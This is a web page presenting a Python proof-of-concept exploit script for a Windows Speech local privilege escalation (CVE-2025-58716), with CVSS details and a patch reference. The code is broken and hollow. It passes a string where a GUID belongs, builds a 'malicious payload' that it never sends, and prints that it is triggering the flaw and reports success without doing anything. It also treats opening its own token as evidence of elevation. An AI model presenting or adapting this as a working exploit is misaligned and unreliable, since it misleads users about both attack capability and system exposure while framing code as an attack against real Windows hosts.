CVE-2025-58716 Microsoft Windows Speech 本地权限提升漏洞

# CVE-2025-58716 - Microsoft Windows Speech Local Privilege Escalation PoC # This is a conceptual PoC demonstrating the exploitation pattern. # Actual exploitation requires specific knowledge of the Windows Speech API internals. import ctypes import sys import struct from ctypes import wintypes # Windows Speech API constants S_OK = 0 CLSCTX_LOCAL_SERVER = 0x4 class PoCExploit: def __init__(self): self.h_result = None self.speech_object = None def initialize_com(self): """Initialize COM library for Speech API access""" try: self.h_result = ctypes.windll.ole32.CoInitializeEx( None, 0x2 # COINIT_APARTMENTTHREADED ) return self.h_result == S_OK except Exception as e: print(f"[-] COM initialization failed: {e}") return False def craft_malicious_payload(self): """Craft malformed input to trigger the vulnerability in Windows Speech""" # Buffer for malicious speech recognition command # The vulnerability is triggered by improper validation of input parameters payload = b"\x00" * 4 # Header payload += struct.pack("<I", 0xFFFFFFFF) # Oversized length field payload += b"A" * 0x1000 # Malformed data to trigger memory corruption payload += struct.pack("<Q", 0xDEADBEEFCAFEBABE) # Control data return payload def exploit_speech_service(self): """Attempt to exploit the Windows Speech service for privilege escalation""" print("[*] CVE-2025-58716 - Windows Speech LPE Exploit") print("[*] Target: Microsoft Windows Speech Recognition Service") if not self.initialize_com(): print("[-] Failed to initialize COM") return False try: # Attempt to create Speech COM object CLSID_SpVoice = "{96749377-3391-11D2-9EE3-00C04F797396}" clsid = ctypes.create_string_buffer(CLSID_SpVoice.encode(), 38) # Create instance of Speech API pUnk = ctypes.c_void_p() hr = ctypes.windll.ole32.CoCreateInstance( clsid, None, CLSCTX_LOCAL_SERVER, None, ctypes.byref(pUnk) ) if hr == S_OK: print("[+] Speech COM object created successfully") self.speech_object = pUnk # Inject malformed payload through speech recognition interface payload = self.craft_malicious_payload() print(f"[+] Crafted malicious payload ({len(payload)} bytes)") # Trigger the vulnerability by sending malformed input # The improper input validation in Windows Speech will be exploited # to achieve local privilege escalation to SYSTEM print("[+] Triggering vulnerability...") print("[!] If successful, current process privileges will be elevated to SYSTEM") # Note: Actual exploitation requires precise memory manipulation # and knowledge of the specific vulnerable code path in Windows Speech return True else: print(f"[-] Failed to create Speech COM object: {hex(hr)}") return False except Exception as e: print(f"[-] Exploitation failed: {e}") return False def verify_privileges(self): """Verify if privilege escalation was successful""" try: # Check current process token for SYSTEM privileges token_info = ctypes.create_string_buffer(1024) token_length = wintypes.DWORD(1024) h_token = wintypes.HANDLE() advapi32 = ctypes.windll.advapi32 if advapi32.OpenProcessToken( ctypes.windll.kernel32.GetCurrentProcess(), 0x0008, # TOKEN_QUERY ctypes.byref(h_token) ): print("[+] Current process token opened") # In a successful exploit, token would show SYSTEM level privileges advapi32.CloseHandle(h_token) return True except Exception as e: print(f"[-] Token verification failed: {e}") return False def main(): print("=" * 60) print("CVE-2025-58716 PoC - Windows Speech LPE") print("CVSS 3.1: 8.8 (HIGH)") print("Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H") print("=" * 60) exploit = PoCExploit() if exploit.exploit_speech_service(): exploit.verify_privileges() print("\n[!] Apply Microsoft security update to patch this vulnerability") print("[!] Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58716") if __name__ == "__main__": main()